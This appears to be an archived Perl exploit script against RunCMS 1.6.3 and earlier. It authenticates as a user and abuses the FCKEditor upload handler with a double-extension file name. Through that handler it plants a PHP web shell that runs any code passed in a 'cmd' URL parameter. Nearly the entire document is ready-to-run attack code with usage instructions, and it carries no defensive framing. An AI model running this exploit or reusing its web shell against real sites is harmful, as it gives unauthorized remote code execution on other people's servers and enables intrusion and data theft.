RunCMS versions 1.6.3 and below "double ext" remote shell injection exploit.
04bf7efaa8e4107745531c75d58d47086924f4410af4e3082c2155c9b5adb13f
#!/usr/bin/perl
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
# RunCMS <= 1.6.3 "double ext" remote shell injection exploit #
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
# #
# Note: you may upload files with double extension #
# FCKEditor must be enabled for users #
# #
# #
# by staker #
# ------------------------------ #
# mail: staker[at]hotmail[dot]it #
# url: https://www.runcms.org #
# ------------------------------ #
# Discovered on 15 June 2009 #
# Happy Birthday Irene #
# ----------------------------------------------------------- #
use IO::Socket;
use LWP::UserAgent;
cronx_us();
my ($host,$path,$username) = @ARGV;
my $password = $ARGV[3] || exit;
my $filename = "snippet.jpg.pwl"; # change it this is just an example
shell_up();
sub cronx_us() {
print "[*------------------------------------------------------------*]\n".
"[* RunCMS <= 1.6.3 (fckeditor) remote shell injection exploit *]\n".
"[*------------------------------------------------------------*]\n".
"[* Usage: perl web.pl [host] [path] [user] [pass] *]\n".
"[* *]\n".
"[* Options: *]\n".
"[* [host] insert a valid host *]\n".
"[* [path] insert a valid RunCMS path *]\n".
"[* [user] your username *]\n".
"[* [pass] your password *]\n".
"[*------------------------------------------------------------*]\n";
}
sub login() {
my $LWP = new LWP::UserAgent;
my $post = $LWP->post(http_url($host)."/$path/user.php",
[ uname => $username,
pass => $password,
op => 'login',
]) || die $!;
if ($post->as_string =~ /Set-Cookie: (.*)/i) {
return $1;
}
}
sub http_url() {
my $string = shift @_ || die($!);
if ($string !~ /^https:\/\/?/i) {
return 'https://'.$string;
}
}
sub shell_up() {
my ($data,$packet,$result);
my $cookie = login();
my $vector = chr(45) x27;
my $socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;
$data .= $vector."--uploading\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
$data .= "Content-Type: unknown/unknown\r\n\r\n";
$data .= "<?php error_reporting(E_ALL); if(isset(\$_GET['cmd'])){die(eval(stripslashes(\$_GET['cmd'])));} ?>\r\n";
$data .= $vector."--uploading--\r\n";
$packet .= "POST $path/class/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=".$vector."uploading\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Cookie: $cookie\r\n";
$packet .= "User-Agent :Lynx (textmode)\r\n";
$packet .= "Content-Length: ".length($data)."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;
$socket->send($packet);
foreach $result (<$socket>) {
if ($result =~ /file uploader is disabled/i) {
die("No access for you..\n");
}
else {
print $result;
}
}
}
__END__